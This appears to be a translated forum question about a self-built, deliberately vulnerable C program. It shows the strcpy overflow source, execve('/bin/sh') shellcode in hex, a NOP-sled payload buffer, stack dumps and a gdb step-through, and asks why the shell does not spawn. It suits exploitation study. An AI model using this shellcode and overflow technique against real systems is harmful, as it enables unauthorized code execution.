Logré que Shell codificara el código de shell al construir mi ejecutable sin medidas de seguridad.
Sin embargo, no parece que se ejecute.
Aquí está la fuente de C de mi programa vulnerable:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(char *password){
int retval = 0;
char possible_password_1[16] = "possiblepasswrd";
char possible_password_2[16] = "drwssapelbissop";
char user_input_password[16];
strcpy(user_input_password, password);
if(!strcmp(possible_password_1, user_input_password))
retval = 1;
if(!strcmp(possible_password_2, user_input_password))
retval = 2;
return retval;
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Not enough arguments\n");
return -1;
}
int correct = check_password(argv[1]);
if(correct)
printf("CORRECT PASSWORD\n");
else
printf("INCORRECT PASSWORD\n");
return 0;
}
Aquí está el código de shell que estoy usando:
00000000: 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 1.Ph//shh/bin..P
00000010: 53 89 e1 b0 0b cd 80 S......
Aquí está el búfer que le doy a mi programa:
00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73 .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 hh/bin..PS......
00000030: 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf 0c f3 ff bf ................
00000040: 0c f3 ff bf ....
Aquí hay una parte de la pila antes de la llamada de strcpy (los últimos 4 bytes son la dirección de retorno):
0xbffff310: 0xb7fff000 0xb7fff918 0xbffff330 0x73777264
0xbffff320: 0x65706173 0x7369626c 0x00706f73 0x73736f70
0xbffff330: 0x656c6269 0x73736170 0x00647277 0x00000000
0xbffff340: 0x00008000 0xb7fb1000 0xbffff378 0x08048523
Aquí está la misma parte de la pila después de la llamada de strcpy:
0xbffff310: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff320: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffff330: 0xe3896e69 0xe1895350 0x80cd0bb0 0xbffff30c
0xbffff340: 0xbffff30c 0xbffff30c 0xbffff30c 0xbffff30c
Aquí está el código de shell en la memoria (que se señala en la dirección de retorno sobrescrita):
0xbffff30c: nop
0xbffff30d: nop
0xbffff30e: nop
---snip---
0xbffff325: xor eax,eax
0xbffff327: push eax
0xbffff328: push 0x68732f2f
0xbffff32d: push 0x6e69622f
0xbffff332: mov ebx,esp
0xbffff334: push eax
0xbffff335: push ebx
0xbffff336: mov ecx,esp
0xbffff338: mov al,0xb
0xbffff33a: int 0x80
Establecí un punto de interrupción en 0xbffff325
y se ve afectado:
(gdb) b *0xbffff325
Breakpoint 5 at 0xbffff325
(gdb) c
Continuing.
Breakpoint 5, 0xbffff325 in ?? ()
(gdb) x/10i $eip
=> 0xbffff325: xor eax,eax
0xbffff327: push eax
0xbffff328: push 0x68732f2f
0xbffff32d: push 0x6e69622f
0xbffff332: mov ebx,esp
0xbffff334: push eax
0xbffff335: push ebx
0xbffff336: mov ecx,esp
0xbffff338: mov al,0xb
0xbffff33a: int 0x80
(gdb) i r eip
eip 0xbffff325 0xbffff325
Luego paso a través de cada instrucción y me aseguro de que se ejecute correctamente:
(gdb) x/i $eip
=> 0xbffff325: xor eax,eax
(gdb) si
0xbffff327 in ?? ()
(gdb) i r eax
eax 0x0 0
(gdb) x/i $eip
=> 0xbffff327: push eax
(gdb) si
0xbffff328 in ?? ()
(gdb) x/wx $esp
0xbffff34c: 0x00000000
(gdb) x/i $eip
=> 0xbffff328: push 0x68732f2f
(gdb) si
0xbffff32d in ?? ()
(gdb) x/wx $esp
0xbffff348: 0x68732f2f
(gdb) x/i $eip
=> 0xbffff32d: push 0x6e69622f
(gdb) si
0xbffff332 in ?? ()
(gdb) x/wx $esp
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff332: mov ebx,esp
(gdb) x/wx $ebx
0x0: Cannot access memory at address 0x0
(gdb) si
0xbffff334 in ?? ()
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) x/i $eip
=> 0xbffff334: push eax
(gdb) x/wx $eax
0x0: Cannot access memory at address 0x0
(gdb) si
0xbffff335 in ?? ()
(gdb) x/wx $esp
0xbffff340: 0x00000000
(gdb) x/i $eip
=> 0xbffff335: push ebx
(gdb) x/wx $ebx
0xbffff344: 0x6e69622f
(gdb) si
0xbffff336 in ?? ()
(gdb) x/i $eip
=> 0xbffff336: mov ecx,esp
(gdb) x/wx $esp
0xbffff33c: 0xbffff344
(gdb) si
0xbffff338 in ?? ()
(gdb) x/wx $ecx
0xbffff33c: 0xbffff344
(gdb) x/i $eip
=> 0xbffff338: mov al,0xb
(gdb) si
0xbffff33a in ?? ()
(gdb) i r al
al 0xb 11
(gdb) x/i $eip
=> 0xbffff33a: int 0x80
(gdb) si
0xbffff33c in ?? ()
Sin embargo, después de hacer la llamada al sistema, no hay shell. El programa continúa la ejecución, intenta leer las direcciones como instrucciones y aparece un error de instrucción no válida: Program received signal SIGILL, Illegal instruction. 0xbffff33d in ?? ()
. ¿Cuál podría ser la causa de esto?
Gracias por cualquier ayuda.
EDITAR: el código shell funciona con el contenedor C:
yapoz@potato:~/Documents/Pentesting/my$ cat shellcode_demo.c
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
((void (*)())shellcode)();
}
yapoz@potato:~/Documents/Pentesting/my$ gcc shellcode_demo.c -zexecstack -fno-stack-protector -o shellcode_demo
yapoz@potato:~/Documents/Pentesting/my$ ./shellcode_demo
$ echo $0
/bin//sh
$ exit
yapoz@potato:~/Documents/Pentesting/my$